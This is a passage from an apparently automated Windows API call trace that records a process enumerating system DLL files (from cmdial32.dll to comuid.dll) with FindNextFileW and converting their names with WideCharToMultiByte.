cAlternateFileName="")) returned 1 [0206.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMDIAL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMDIAL32.DLL", cchWideChar=12, lpMultiByteStr=0x9dc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMDIAL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.285] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe6d2724, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xfe6d2724, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfc00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="cmicryptinstall.dll", cAlternateFileName="")) returned 1 [0206.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMICRYPTINSTALL.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0206.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMICRYPTINSTALL.DLL", cchWideChar=19, lpMultiByteStr=0x9dc288, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMICRYPTINSTALL.DLL", lpUsedDefaultChar=0x0) returned 19 [0206.286] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bcbee, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x74bcbee, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10c00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="cmifw.dll", cAlternateFileName="")) returned 1 [0206.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIFW.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0206.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIFW.DLL", cchWideChar=9, lpMultiByteStr=0x9dc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMIFW.DLL", lpUsedDefaultChar=0x0) returned 9 [0206.286] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f457, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x8f457, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4a600, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="cmipnpinstall.dll", cAlternateFileName="")) returned 1 [0206.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIPNPINSTALL.DLL", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0206.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIPNPINSTALL.DLL", cchWideChar=17, lpMultiByteStr=0x9dc288, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMIPNPINSTALL.DLL", lpUsedDefaultChar=0x0) returned 17 [0206.286] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38f08433, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38f08433, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x846bc3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="cmlua.dll", cAlternateFileName="")) returned 1 [0206.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMLUA.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0206.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMLUA.DLL", cchWideChar=9, lpMultiByteStr=0x9dc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMLUA.DLL", lpUsedDefaultChar=0x0) returned 9 [0206.286] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x391b5ce1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x391b5ce1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8477aaa0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="cmpbk32.dll", cAlternateFileName="")) returned 1 [0206.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMPBK32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMPBK32.DLL", cchWideChar=11, lpMultiByteStr=0x9dc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMPBK32.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.286] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3af76f19, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3af76f19, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="cmstplua.dll", cAlternateFileName="")) returned 1 [0206.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMSTPLUA.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMSTPLUA.DLL", cchWideChar=12, lpMultiByteStr=0x9dc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMSTPLUA.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.286] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3930c938, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3930c938, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb800, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="cmutil.dll", cAlternateFileName="")) returned 1 [0206.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMUTIL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMUTIL.DLL", cchWideChar=10, lpMultiByteStr=0x9dc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMUTIL.DLL", lpUsedDefaultChar=0x0) returned 10 [0206.286] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3edf5019, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3edf5019, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c00920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="cngaudit.dll", cAlternateFileName="")) returned 1 [0206.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGAUDIT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGAUDIT.DLL", cchWideChar=12, lpMultiByteStr=0x9dc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNGAUDIT.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.287] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe13d1623, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe13d1623, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c27a20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="cngprovider.dll", cAlternateFileName="")) returned 1 [0206.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGPROVIDER.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0206.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGPROVIDER.DLL", cchWideChar=15, lpMultiByteStr=0x9dc288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNGPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 15 [0206.287] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc8530d4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xbc8530d4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x863252f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="cnvfat.dll", cAlternateFileName="")) returned 1 [0206.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNVFAT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNVFAT.DLL", cchWideChar=10, lpMultiByteStr=0x9dc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNVFAT.DLL", lpUsedDefaultChar=0x0) returned 10 [0206.287] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2a3e279, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd2a3e279, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xf800, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="colbact.dll", cAlternateFileName="")) returned 1 [0206.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLBACT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLBACT.DLL", cchWideChar=11, lpMultiByteStr=0x9dc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLBACT.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.287] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21891310, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x21891310, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x25800, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="COLORCNV.DLL", cAlternateFileName="")) returned 1 [0206.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORCNV.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORCNV.DLL", cchWideChar=12, lpMultiByteStr=0x9dc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLORCNV.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.287] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3357b6fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3357b6fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x94000, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="colorui.dll", cAlternateFileName="")) returned 1 [0206.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORUI.DLL", cchWideChar=11, lpMultiByteStr=0x9dc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLORUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.287] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3830bb4, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xc3830bb4, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8640aad0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="comcat.dll", cAlternateFileName="")) returned 1 [0206.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCAT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCAT.DLL", cchWideChar=10, lpMultiByteStr=0x9dc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMCAT.DLL", lpUsedDefaultChar=0x0) returned 10 [0206.288] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87ba0407, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87ba0407, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bc6567, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x81800, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="comctl32.dll", cAlternateFileName="")) returned 1 [0206.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCTL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCTL32.DLL", cchWideChar=12, lpMultiByteStr=0x9dc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMCTL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.288] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x831d597f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x831d597f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x831fbadf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76a00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="comdlg32.dll", cAlternateFileName="")) returned 1 [0206.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMDLG32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMDLG32.DLL", cchWideChar=12, lpMultiByteStr=0x9dc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMDLG32.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.288] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54e040d9, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0x54e040d9, ftLastAccessTime.dwHighDateTime=0x1ca0405, ftLastWriteTime.dwLowDateTime=0xa7e211c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x6c90, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="compobj.dll", cAlternateFileName="")) returned 1 [0206.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPOBJ.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPOBJ.DLL", cchWideChar=11, lpMultiByteStr=0x9dc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPOBJ.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.288] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafe90a34, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xafe90a34, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x43800, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="compstui.dll", cAlternateFileName="")) returned 1 [0206.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPSTUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPSTUI.DLL", cchWideChar=12, lpMultiByteStr=0x9dc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPSTUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.288] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd737050d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd737050d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="comrepl.dll", cAlternateFileName="")) returned 1 [0206.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMREPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMREPL.DLL", cchWideChar=11, lpMultiByteStr=0x9dc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMREPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.288] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd1df40b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xcd1df40b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xae46d00, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13cc00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="comres.dll", cAlternateFileName="")) returned 1 [0206.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMRES.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMRES.DLL", cchWideChar=10, lpMultiByteStr=0x9dc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMRES.DLL", lpUsedDefaultChar=0x0) returned 10 [0206.288] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdca78724, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdca78724, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865ac280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35c00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="comsnap.dll", cAlternateFileName="")) returned 1 [0206.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSNAP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSNAP.DLL", cchWideChar=11, lpMultiByteStr=0x9dc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMSNAP.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.289] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfddbc751, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfddbc751, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12f400, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="comsvcs.dll", cAlternateFileName="")) returned 1 [0206.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSVCS.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSVCS.DLL", cchWideChar=11, lpMultiByteStr=0x9dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMSVCS.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.289] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe726f31b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe726f31b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8ec00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="comuid.dll", cAlternateFileName="")) returned 1 [0206.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMUID.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, 